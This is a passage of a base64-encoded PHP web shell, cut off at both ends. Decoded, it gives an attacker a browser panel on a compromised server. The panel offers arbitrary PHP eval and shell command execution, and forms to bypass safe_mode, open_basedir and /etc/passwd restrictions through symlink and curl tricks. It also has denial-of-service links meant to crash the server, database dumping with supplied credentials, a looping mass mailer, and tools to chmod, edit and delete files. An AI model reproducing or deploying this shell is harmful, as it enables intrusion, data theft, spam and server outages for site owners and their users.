ZT1zdWJtaXQgdmFsdWUgPSJlWGVjdXRlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kbyB2YWx1ZT0iYnlwYXNzZGlyIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+PGhyPkJ5cGFzcyAvRXRjL1Bhc3N3ZDxicj4nLiRmb3JtcC4nPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlID0iUmVhZCBQYXNzd2QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWJ5ZXRjIHZhbHVlPSJsb2wiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRvIHZhbHVlPSJieXBhc3NkaXIiPjwvZm9ybT48aHI+QnlwYXNzIFdpdGggaW5pX3Jlc3RvcmUnLiRmb3JtcC4nPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlID0iUmVhZCBGaWxlIj48aW5wdXQgbmFtZT1yZmlsaSB2YWx1ZT0iUGVqaWpvbiIgdHlwZT1oaWRkZW4+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZG8gdmFsdWU9ImJ5cGFzc2RpciI+PC9mb3JtPjxocj5CeXBhc3MgV2l0aCBTeW1saW5rIFdvcmtlZCBJbiA1LngueCA1LjIuMTEgV2l0aCBCdWcgU3ltbGluazx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+Jy4kZm9ybXAuJzwvZm9udD48L3RkPjx0ZCB3aWR0aD0iNzUwIj48aW5wdXQgbmFtZT1ieXN5bWwgc2l6ZT01MD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPSJSZWFkIEZpbGUiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRvIHZhbHVlPSJieXBhc3NkaXIiPjxpbnB1dCBuYW1lPXJmaWxpIHZhbHVlPSJQZWppam9uIiB0eXBlPWhpZGRlbj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+PGhyPicuJGZvcm1wLidCeXBhc3MgU2FmZSBBbmQgT3Blbl9iYXNlZGlyIFdpdGggQnVnIEN1cmwgV29ya2VkIEluIDQueC54IC4uLiA1LjIuOTx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+Jy4kZm9ybXAuJzwvZm9udD48L3RkPjx0ZCB3aWR0aD0iNzUwIj48aW5wdXQgbmFtZT1ieXBjdSBzaXplPTUwPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZSA9IlJlYWQgRmlsZSI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZG8gdmFsdWU9ImJ5cGFzc2RpciI+PC9mb3JtPjwvdGQ+PC90cj48L3RhYmxlPicuJGVuZDtleGl0OzsNCg0KDQoNCg0KfQ0KZnVuY3Rpb24gcHJpbnRkcml2ZSgpew0KZ2xvYmFsICRzbGFzaDsNCmZvcmVhY2ggKHJhbmdlKCJBIiwiWiIpIGFzICR0ZW1wZHJpdmUpIHsNCmlmIChpc19kaXIoJHRlbXBkcml2ZS4iOiIuJHNsYXNoKSl7DQokYWRyaT0kdGVtcGRyaXZlLiI6Ii4kc2xhc2g7DQokZHJpdmVhPSRkcml2ZWEuJzxhIGhyZWY9Ij9hZGRyZXNzPScuJGFkcmkuJyI+PGZvbnQgc2l6ZT0xPicuJHRlbXBkcml2ZS4nOicuJHNsYXNoLicgPC9hPjwvZm9udD4nOw0KfQ0KfQ0KcmV0dXJuICRkcml2ZWE7DQp9DQppZigkX1BPU1RbJ25hbWVyZW4nXSAmJiAkX1BPU1RbJ2FkZHJlc3NyZW4nXSl7DQppZihpc193cml0YWJsZSgkX1JFUVVFU1RbJ2FkZHJlc3NyZW4nXSkpew0KDQpyZW5hbWUoJF9QT1NUWydhZGRyZXNzcmVuJ10sJF9QT1NUWyduYW1lcmVuJ10pO2FsZXJ0KCJSZW5hbWUgU3VjY2Vzc2Z1bCAhIik7DQp9ZWxzZXthbGVydCgiUGVybWlzc2lvbiBEZW5pZWQgISIpO30NCn0NCmlmKCRfR0VUWydkbyddPT0iZGVsZXRlIil7DQoNCmlmICgkX0dFVFsndHlwZSddPT0iZGlyIil7DQppZihpc193cml0YWJsZSgkX1JFUVVFU1RbJ2FkZHJlc3MnXSkpew0KJGRpcj0kX0dFVFsnYWRkcmVzcyddLiRfR0VUWydmaWxlbmFtZSddOw0KZGVsZXRlRGlyZWN0b3J5KCRkaXIpOw0KYWxlcnQoIkRlbGV0ZWQgU3VjY2Vzc2Z1bCAhIik7DQp9ZWxzZXthbGVydCgiUGVybWlzc2lvbiBEZW5pZWQgISIpO30NCn1lbHNlaWYoJF9HRVRbJ3R5cGUnXT09ImZpbGUiKXsNCmlmKGlzX3dyaXRhYmxlKCRfR0VUWydhZGRyZXNzJ10uJF9HRVRbJ2ZpbGVuYW1lJ10pKXsNCnVubGluaygkX0dFVFsnYWRkcmVzcyddLiRfR0VUWydmaWxlbmFtZSddKTthbGVydCgiRGVsZXRlZCBTdWNjZXNzZnVsICEiKTsNCn1lbHNle2FsZXJ0KCJQZXJtaXNzaW9uIERlbmllZCAhIik7fQ0KfQ0KfQ0KaWYoJF9QT1NUWydmZWRpdCddICYmICRfUE9TVFsnbmFtZWZlJ10pew0KaWYoaXNfd3JpdGFibGUoJF9SRVFVRVNUWydhZGRyZXNzJ10pKXsNCg0KDQokb3BlbnNhdmU9Zm9wZW4oJF9QT1NUWydhZGRyZXNzJ10uJHNsYXNoLiRfUE9TVFsnbmFtZWZlJ10sInciKTsNCmZ3cml0ZSgkb3BlbnNhdmUsaHRtbF9lbnRpdHlfZGVjb2RlKCRfUE9TVFsnZmVkaXQnXSkpOw0KZmNsb3NlKCRvcGVuc2F2ZSk7YWxlcnQoIkZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bCAhIik7DQp9ZWxzZXthbGVydCgiUGVybWlzc2lvbiBEZW5pZWQgISIpO30NCn0NCmlmICgkX1BPU1RbJ2V2YWxzb3VyY2UnXSl7DQoNCmV2YWwoJF9QT1NUWydldmFsc291cmNlJ10pOw0KfQ0KaWYoJF9HRVRbJ2RvJ109PSJldmFsIil7DQplY2hvICRoZWFkLiRmb3JtcC4kbm93YWRkcmVzcy4nPHAgYWxpZ249ImNlbnRlciI+PHRleHRhcmVhIHJvd3M9IjE5IiBuYW1lPSJldmFsc291cmNlIiBjb2xzPSI4NyI+PC90ZXh0YXJlYT48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSIgIGVYZWN1dGUgICI+PC9mb3JtPjwvcD4nLiRlbmQ7ZXhpdDsNCn0NCmlmKCRfR0VUWydkbyddPT0iaW5mbyIpew0KDQppZihpbmlfZ2V0KCdyZWdpc3Rlcl9nbG9iYWxzJykpew0KJHJlZ2lzdGVyZz0iRW5hYmxlIjsNCn1lbHNlew0KJHJlZ2lzdGVyZz0iZGlzYWJsZSI7DQp9DQppZihleHRlbnNpb25fbG9hZGVkKCdjdXJsJykpew0KJGN1cmxzPSJFbmFibGUiOw0KfWVsc2V7DQokY3VybHM9ImRpc2FibGUiOw0KfQ0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpKXsNCiRkYl9vbiA9ICJNeXNxbCA6IE9uIjsNCn07DQppZihAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jykpew0KJGRiX29uID0gIk1zc3FsIDogT24iOw0KfTsNCmlmKEBmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSl7DQokZGJfb24gPSAiUG9zdGdyZVNRTCA6IE9uIjsNCn07aWYoQGZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSl7DQokZGJfb24gPSAiT3JhY2xlIDogT24iOw0KfTsNCg0KZWNobyAkaGVhZC4iPGZvbnQgZmFjZT0nVGFob21hJyBzaXplPScyJz5PcGVyYXRpbmcgU3lzdGVtIDogIi5waHBfdW5hbWUoKS4iPGJyPlNlcnZlciBOYW1lIDogIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIjxicj5EaXNhYmxlX0Z1bmN0aW9ucyA6ICIuJGRpc2FibGVmLiI8YnI+U2FmZV9Nb2RlIDogIi4kc2FmZV9tb2Rlcy4iPGJyPk9wZW5iYXNlX2RpciA6ICIuaW5pX2dldCgnb3BlbmJhc2VfZGlyJykuIjxicj5QaHAgVmVyc2lvbiA6ICIucGhwdmVyc2lvbigpLiI8YnI+RnJlZSBTcGFjZSA6ICIuc2l6ZWUoZGlza19mcmVlX3NwYWNlKCIvIikpLiI8YnI+VG90YWwgU3BhY2UgOiAiLnNpemVlKGRpc2tfdG90YWxfc3BhY2UoIi8iKSkuIjxicj5SZWdpc3Rlcl9HbG9iYWxzIDogIi4kcmVnaXN0ZXJnLiI8YnI+Q3VybCA6ICIuJGN1cmxzLiI8YnI+RGF0YWJhc2UgIi4kZGJfb24uIjxicj5TZXJ2ZXIgTmFtZSA6ICIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiI8YnI+QWRtaW4gU2VydmVyIDogIi4kX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10uJGVuZDsNCmV4aXQ7DQp9DQppZiAoJF9HRVRbJ2RvJ109PSJjbWQiKXsNCmVjaG8gJGhlYWQuJw0KPGZvcm0gbWV0aG9kPWdldCBhY3Rpb249IicuJG1lLiciPg0KPHAgYWxpZ249ImNlbnRlciI+DQo8dGV4dGFyZWEgcm93cz0iMTkiIG5hbWU9IlMxIiBjb2xzPSI4NyI+JzsNCmlmIChzdHJsZW4oJF9HRVRbJ2NvbW1hbmQnXSk+MSAmJiAkX0dFVFsnZXhlY21ldGhvZCddIT0icG9wZW4iKXsNCmVjaG8gJF9HRVRbJ2V4ZWNtZXRob2QnXSgkX0dFVFsnY29tbWFuZCddKTt9DQppZiAoc3RybGVuKCRfUE9TVFsnY29tbWFuZCddKT4xICYmICRfUE9TVFsnZXhlY21ldGhvZCddIT0icG9wZW4iKXsNCmVjaG8gJF9QT1NUWydleGVjbWV0aG9kJ10oJF9QT1NUWydjb21tYW5kJ10pO30NCg0KaWYgKHN0cmxlbigkX0dFVFsnY29tbWFuZCddKT4xICYmICRfR0VUWydleGVjbWV0aG9kJ109PSJwb3BlbiIpew0KcG9wZW4oJF9HRVRbJ2NvbW1hbmQnXSwiciIpO30NCg0KZWNobyc8L3RleHRhcmVhPjwvcD48cCBhbGlnbj0iY2VudGVyIj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkbyIgc2l6ZT0iNTAiIHZhbHVlPSJjbWQiPiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29tbWFuZCIgc2l6ZT0iNTAiPjxzZWxlY3QgbmFtZT1leGVjbWV0aG9kPg0KICA8b3B0aW9uIHZhbHVlPSJzeXN0ZW0iPlN5c3RlbTwvb3B0aW9uPiAgPG9wdGlvbiB2YWx1ZT0iZXhlYyI+RXhlYzwvb3B0aW9uPiAgPG9wdGlvbiB2YWx1ZT0icGFzc3RocnUiPlBhc3N0aHJ1PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0icG9wZW4iPnBvcGVuPC9vcHRpb24+DQo8L3NlbGVjdD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iZVhlY3V0ZSI+DQo8L3A+PC9mb3JtPicuJGVuZDtleGl0O30NCmlmICgkX0dFVFsnZG8nXT09InN5bWxpbmsiKXsNCmVjaG8gJGhlYWQuJw0KPGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSInLiRtZS4nIj4NCjxwIGFsaWduPSJjZW50ZXIiPg0KU3ltTGluayBXaXRoIFBIUDxicj48aW5wdXQgbmFtZT1hZDFzeXAgc2l6ZT01MD4gVE8gPGlucHV0IHZhbHVlPSInLmdldGN3ZCgpLiRzbGFzaC4ic3ltbGluay50eHQiLiciIG5hbWU9YWQyc3lwIHNpemU9NTA+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1TeW1MaW5rIT48aHI+PHAgYWxpZ249ImNlbnRlciI+PC9mb3JtPg0KPGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSInLiRtZS4nIj48cCBhbGlnbj0iY2VudGVyIj4NCg0KU3ltTGluayBXaXRoIE9TIDogPGJyPjxpbnB1dCBuYW1lPWFkMXN5YyBzaXplPTUwPiBUTyA8aW5wdXQgdmFsdWU9IicuZ2V0Y3dkKCkuJHNsYXNoLiJzeW1saW5rLnR4dCIuJyIgbmFtZT1hZDJzeWMgc2l6ZT01MD48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVN5bUxpbmshPg0KPC9wPjwvZm9ybT4nLiRlbmQ7ZXhpdDt9DQppZiAoJF9QT1NUWydhZDFzeXAnXSAmJiAkX1BPU1RbJ2FkMnN5cCddKXsNCmlmIChzeW1saW5rKCRfUE9TVFsnYWQxc3lwJ10sJF9QT1NUWydhZDJzeXAnXSkpew0KYWxlcnQoIlN5bWxpbmsgV29ya2VkICEiKTsNCn1lbHNlew0KYWxlcnQoIlN5bWxpbmsgTm90IFdvcmtlZCAhIik7DQp9fQ0KaWYgKCRfUE9TVFsnYWQxc3ljJ10gJiYgJF9QT1NUWydhZDJzeWMnXSl7DQppZiAoc3lzdGVtKCdscyAtcyAnLiRfUE9TVFsnYWQxc3ljJ10uIiAiLiRfUE9TVFsnYWQyc3ljJ10pKXsNCmFsZXJ0KCJTeW1saW5rIFdvcmtlZCAhIik7DQp9ZWxzZXthbGVydCgiU3ltbGluayBOb3QgV29ya2VkICEiKTt9DQp9DQppZiAoJF9HRVRbJ2RvJ109PSJkMHNsb2NhbCIpew0KZWNobyAkaGVhZC4nDQo8cCBhbGlnbj0iY2VudGVyIj5JZiBZb3UgQ2xpY2sgVGhpcyBMaW5rIFRoaXMgU2VydmVyIENyYXNoZWQuPGJyPlRoaXMgV29ya2VkIEluIFBocCA1LjMueCA6IDxhIGhyZWY9Ij9kb3N0aGlzc2VydmVyPTEiIHRhcmdldD0iX2JsYW5rIj48Zm9udCBzaXplPTQ+RG9zIFRoaXMgU2VydmVyIEkgQW0gU3VyZSA8L2ZvbnQ+PC9hPjxicj5UaGlzIFdvcmtlZCBJbiBQaHAgNC54LnggQW5kIDUuMi45IDogPGEgaHJlZj0iP2Rvc3RoaXNzZXJ2ZXI9MiIgdGFyZ2V0PSJfYmxhbmsiPjxmb250IHNpemU9ND5Eb3MgVGhpcyBTZXJ2ZXIgSSBBbSBTdXJlIDwvYT4nLiRlbmQ7ZXhpdDt9DQppZiAoJF9HRVRbJ2Rvc3RoaXNzZXJ2ZXInXT09IjEiKXsNCmZ1bmN0aW9uIGRvc3NlcnZlcigpew0KJGp1bms9c3RyX3JlcGVhdCgiOTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTkiLDk5OTk5KTsNCmZvcigkaT0wOyRpPDI7KXsNCiRidWZmPWJjcG93KCRqdW5rLCAnMycsIDIpOw0KJGJ1ZmY9bnVsbDsNCn0NCn0NCmRvc3NlcnZlcigpOw0KfQ0KaWYgKCRfR0VUWydkb3N0aGlzc2VydmVyJ109PSIyIil7DQpmdW5jdGlvbiBjeCgpe2N4KCk7fQ0KIGN4KCk7DQp9DQppZiAoJF9HRVRbJ2RvJ109PSJjb252ZXJ0Iil7DQokaGFzaD1udWxsOw0KaWYgKCRfR0VUWydzdHJpbmd0b2gnXSAmJiAkX0dFVFsnaGFzaHRvaCddPT0nbWQ1Jyl7DQokaGFzaD1tZDUoJF9HRVRbJ3N0cmluZ3RvaCddKTsNCn1lbHNlaWYgKCRfR0VUWydzdHJpbmd0b2gnXSAmJiAkX0dFVFsnaGFzaHRvaCddPT0nc2gxJyl7DQokaGFzaD1zaGExKCRfR0VUWydzdHJpbmd0b2gnXSk7DQp9ZWxzZWlmICgkX0dFVFsnc3RyaW5ndG9oJ10gJiYgJF9HRVRbJ2hhc2h0b2gnXT09J2NyYzMyJyl7DQokaGFzaD1jcmMzMigkX0dFVFsnc3RyaW5ndG9oJ10pOw0KfWVsc2VpZiAoJF9HRVRbJ3N0cmluZ3RvaCddICYmICRfR0VUWydoYXNodG9oJ109PSdiNjRlJyl7DQokaGFzaD1iYXNlNjRfZW5jb2RlKCRfR0VUWydzdHJpbmd0b2gnXSk7DQp9ZWxzZWlmICgkX0dFVFsnc3RyaW5ndG9oJ10gJiYgJF9HRVRbJ2hhc2h0b2gnXT09J2I2NGQnKXsNCiRoYXNoPWJhc2U2NF9kZWNvZGUoJF9HRVRbJ3N0cmluZ3RvaCddKTsNCn0NCmVjaG8gJGhlYWQuJw0KPGZvcm0gbWV0aG9kPWdldCBhY3Rpb249IicuJG1lLiciPg0KPHAgYWxpZ249ImNlbnRlciI+Q29udmVydDxicj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kbyB2YWx1ZT1jb252ZXJ0Pg0KPGlucHV0IG5hbWU9c3RyaW5ndG9oIHNpemU9NTg+PHNlbGVjdCBuYW1lPWhhc2h0b2g+DQo8b3B0aW9uIHZhbHVlPSJtZDUiPk1ENTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iY3JjMzIiPkNSQzMyPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJzaGExIj5TSEExPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJiNjRlIj5CYXNlNjQgRW5jb2RlITwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iYjY0ZCI+QmFzZTY0IERlY29kZSE8L29wdGlvbj4NCjxicj48dGV4dGFyZWEgY29scz02MCByb3dzPTE4PicuJGhhc2guJzwvdGV4dGFyZWE+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iQ29udmVydCI+DQoNCjwvcD48L2Zvcm0+Jy4kZW5kO2V4aXQ7fQ0KaWYgKCRfR0VUWydkbyddPT0iZHVtcCIpew0KZWNobyAkaGVhZC4nPHAgYWxpZ249ImNlbnRlciI+JzsNCmVjaG8gJzx0YWJsZSBib3JkZXI9MSB3aWR0aD00MDAgc3R5bGU9ImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2UiICBib3JkZXJjb2xvcj0jQzZDNkM2IGNlbGxwYWRkaW5nPTI+PHRyPjx0ZCB3aWR0aD00MDAgY29sc3Bhbj0yIGJnY29sb3I9I0YyRjJGMj48cCBhbGlnbj1jZW50ZXI+PGI+PGZvbnQgZmFjZT1BcmlhbCBzaXplPTIgY29sb3I9IzQzMzkzND5CYWNrdXAgRGF0YWJhc2U8L2ZvbnQ+PC9iPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPTE1MCBiZ2NvbG9yPSNFQUVBRUE+PGZvbnQgZmFjZT1BcmlhbCBzaXplPTI+REIgVHlwZTo8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9MjUwIGJnY29sb3I9I0VBRUFFQT48Zm9ybSBtZXRob2Q9cG9zdCBhY3Rpb249IicuJG1lLiciPjxzZWxlY3QgbmFtZT1tZXRob2Q+PG9wdGlvbiB2YWx1ZT0iZ3ppcCI+R3ppcDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InNxbCI+U3FsPC9vcHRpb24+IDwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPTE1MCBiZ2NvbG9yPSNFQUVBRUE+PGZvbnQgZmFjZT1BcmlhbCBzaXplPTI+U2VydmVyOjwvZm9udD48L3RkPjx0ZCB3aWR0aD0yNTAgYmdjb2xvcj0jRUFFQUVBPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zZXJ2ZXIgc2l6ZT0zNT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0xNTAgYmdjb2xvcj0jRUFFQUVBPjxmb250IGZhY2U9QXJpYWwgc2l6ZT0yPlVzZXJuYW1lOjwvZm9udD48L3RkPjx0ZCB3aWR0aD0yNTAgYmdjb2xvcj0jRUFFQUVBPjxpbnB1dCB0eXBlPXRleHQgbmFtZT11c2VybmFtZSBzaXplPTM1PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPTE1MCBiZ2NvbG9yPSNFQUVBRUE+PGZvbnQgZmFjZT1BcmlhbCBzaXplPTI+UGFzc3dvcmQ6PC9mb250PjwvdGQ+PHRkIHdpZHRoPTI1MCBiZ2NvbG9yPSNFQUVBRUE+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhc3N3b3JkPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPTE1MCBiZ2NvbG9yPSNFQUVBRUE+PGZvbnQgZmFjZT1BcmlhbCBzaXplPTI+RGF0YSBCYXNlIE5hbWU6PC9mb250PjwvdGQ+PHRkIHdpZHRoPTI1MCBiZ2NvbG9yPSNFQUVBRUE+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRibmFtZT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD00MDAgY29sc3Bhbj0yIGJnY29sb3I9I0VBRUFFQT48Y2VudGVyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICBEdW1wISAgIiA+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPjwvY2VudGVyPjwvdGFibGU+Jy4kZW5kO2V4aXQ7fQ0KaWYgKCRfUE9TVFsndXNlcm5hbWUnXSAmJiAkX1BPU1RbJ2RibmFtZSddICYmICRfUE9TVFsnbWV0aG9kJ10pew0KJGRhdGUgPSBkYXRlKCJZLW0tZCIpOw0KJGRic2VydmVyID0gJF9QT1NUWydzZXJ2ZXInXTsNCiRkYnVzZXIgPSAkX1BPU1RbJ3VzZXJuYW1lJ107DQokZGJwYXNzID0gJF9QT1NUWydwYXNzd29yZCddOw0KJGRibmFtZSA9ICRfUE9TVFsnZGJuYW1lJ107DQokZmlsZSA9ICJEdW1wLSRkYm5hbWUtJGRhdGUiOw0KJG1ldGhvZCA9ICRfUE9TVFsnbWV0aG9kJ107DQppZiAoJG1ldGhvZD09J3NxbCcpew0KJGZpbGU9IkR1bXAtJGRibmFtZS0kZGF0ZS5zcWwiOw0KJGZwPWZvcGVuKCRmaWxlLCJ3Iik7DQp9ZWxzZXsNCiRmaWxlPSJEdW1wLSRkYm5hbWUtJGRhdGUuc3FsLmd6IjsNCiRmcCA9IGd6b3BlbigkZmlsZSwidyIpOw0KfQ0KZnVuY3Rpb24gd3JpdGUoJGRhdGEpIHsNCmdsb2JhbCAkZnA7DQppZiAoJF9QT1NUWydtZXRob2QnXT09J3NxbCcpew0KZndyaXRlKCRmcCwkZGF0YSk7DQp9ZWxzZXsNCmd6d3JpdGUoJGZwLCAkZGF0YSk7DQp9fQ0KbXlzcWxfY29ubmVjdCAoJGRic2VydmVyLCAkZGJ1c2VyLCAkZGJwYXNzKTsNCm15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsNCiR0YWJsZXMgPSBteXNxbF9xdWVyeSAoIlNIT1cgVEFCTEVTIik7DQp3aGlsZSAoJGkgPSBteXNxbF9mZXRjaF9hcnJheSgkdGFibGVzKSkgew0KICAgICRpID0gJGlbJ1RhYmxlc19pbl8nLiRkYm5hbWVdOw0KICAgICRjcmVhdGUgPSBteXNxbF9mZXRjaF9hcnJheShteXNxbF9xdWVyeSAoIlNIT1cgQ1JFQVRFIFRBQkxFICIuJGkpKTsNCiAgICB3cml0ZSgkY3JlYXRlWydDcmVhdGUgVGFibGUnXS4iO1xuXG4iKTsNCiAgICAkc3FsID0gbXlzcWxfcXVlcnkgKCJTRUxFQ1QgKiBGUk9NICIuJGkpOw0KICAgIGlmIChteXNxbF9udW1fcm93cygkc3FsKSkgew0KICAgICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3Jvdygkc3FsKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJHJvdyBhcyAkaiA9PiAkaykgew0KICAgICAgICAgICAgICAgICRyb3dbJGpdID0gIiciLm15c3FsX2VzY2FwZV9zdHJpbmcoJGspLiInIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHdyaXRlKCJJTlNFUlQgSU5UTyAkaSBWQUxVRVMoIi5pbXBsb2RlKCIsIiwgJHJvdykuIik7XG4iKTsNCiAgICAgICAgfQ0KICAgIH0NCn0NCmlmICgkbWV0aG9kPT0nc3FsJyl7DQpmY2xvc2UgKCRmcCk7DQp9ZWxzZXsNCmd6Y2xvc2UoJGZwKTt9DQpoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIgLiAkZmlsZSk7ICAgDQpoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vZG93bmxvYWQiKTsNCmhlYWRlcigiQ29udGVudC1MZW5ndGg6ICIgLiBmaWxlc2l6ZSgkZmlsZSkpOw0KZmx1c2goKTsNCg0KJGZwID0gZm9wZW4oJGZpbGUsICJyIik7DQp3aGlsZSAoIWZlb2YoJGZwKSkNCnsNCiAgICBlY2hvIGZyZWFkKCRmcCwgNjU1MzYpOw0KICAgIGZsdXNoKCk7DQp9IA0KZmNsb3NlKCRmcCk7IA0KfQ0KDQppZiAoJF9HRVRbJ2RvJ109PSJtYWlsIil7DQplY2hvICRoZWFkLicNCjxmb3JtIG1ldGhvZD1wb3N0IGFjdGlvbj0iJy4kbWUuJyI+DQo8cCBhbGlnbj0iY2VudGVyIj4NCkFkZHJlc3MgOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iYWRtYWlsIiBzaXplPSI1MCI+PGJyPjxicj5TdWJqZWN0IDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN1Ym1haWwiIHNpemU9IjUwIj48YnI+PGJyPjx0ZXh0YXJlYSBjb2xzPTcwIHJvd3M9MTggbmFtZT10ZXh0bWFpbD5UZXh0PC90ZXh0YXJlYT48YnI+PGJyPk51bWJlciBGb3IgU2VuZCA6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW1haWwiIHNpemU9IjUiIHZhbHVlPTE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVNlbmQhPjwvZm9ybT4nLiRlbmQ7ZXhpdDt9DQppZiAoJF9QT1NUWydhZG1haWwnXSAmJiAkX1BPU1RbJ3N1Ym1haWwnXSApew0KZm9yKCRtaT0wOyRtaTxpbnR2YWwoJF9QT1NUWydudW1haWwnXSk7JG1pKyspew0KbWFpbCgkX1BPU1RbJ2FkbWFpbCddLCAkX1BPU1RbJ3N1Ym1haWwnXSwgJF9QT1NUWyd0ZXh0bWFpbCddKTt9DQp9DQppZigkX0dFVFsnZG8nXT09ImRiIil7DQplY2hvICRoZWFkO3NxbGNsaWVuVCgpO2VjaG8gJGVuZDsNCmV4aXQ7DQp9DQppZigkX1JFUVVFU1RbJ2ZpbGUyY2gnXSAmJiAkX1JFUVVFU1RbJ2NobW9kbm93J10pew0KJGNobW9kbnVtMj0kX1JFUVVFU1RbJ2NobW9kbm93J107DQpjaG1vZCgkX1JFUVVFU1RbJ2ZpbGUyY2gnXSwiMCIuJGNobW9kbnVtMik7DQp9DQppZigkX0dFVFsnZG8nXT09ImNobW9kIil7DQplY2hvICRoZWFkLiRmb3JtZy4kbm93YWRkcmVzcy4iPHAgYWxpZ249Y2VudGVyPjxiPkNobW9kPC9iPjxicj48aW5wdXQgc2l6ZT01MCBuYW1lPWZpbGUyY2ggdmFsdWU9JyIuJF9SRVFVRVNUWydhZGRyZXNzJ10uJF9SRVFVRVNUWydmaWxlbmFtZSddLiInPiBUbyAgPGlucHV0IG5hbWU9Y2htb2Rub3cgc2l6ZT0xIHZhbHVlPTc3Nz48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVNldD48L2Zvcm0+Ii4kZW5kO2V4aXQ7DQoNCn0NCi8qIGlmKCRfR0VUWydkbyddPT0iZWRpdCIpew0KaWYoJF9HRVRbJ2ZpbGVuYW1lJ109PSJkaXIiKXsNCmlmKGlzX3JlYWRhYmxlKCRfR0VUWydhZGRyZXNzJ10pKXsNCmNoZGlyKCRfR0VUWydhZGRyZXNzJ10pO31lbHNle2FsZXJ0KCJQZXJtaXNzaW9uIERlbmllZCAhIik7fQ0KDQp9fSAqLw0KJGFyYWRkcmVzc3M9ZXhwbG9kZSgkc2xhc2gsZ2V0Y3dkKCkpOw0KJG1hdGhhcnJheXk9Y291bnQoJGFyYWRkcmVzc3MpLTE7DQokYWRkcjFiYWNraz1zdHJfcmVwbGFjZSgkYXJhZGRyZXNzc1skbWF0aGFycmF5eV0sIiIsJGFyYWRkcmVzc3MpOw0KZm9yKCRjb3VudGJhY2s9MDskY291bnRiYWNrPGNvdW50KCRhZGRyMWJhY2trKTskY291bnRiYWNrKyspew0KJGFycmF5YmFja2VbJGNvdW50YmFja109JHNsYXNoLiRhZGRyMWJhY2trWyRjb3VudG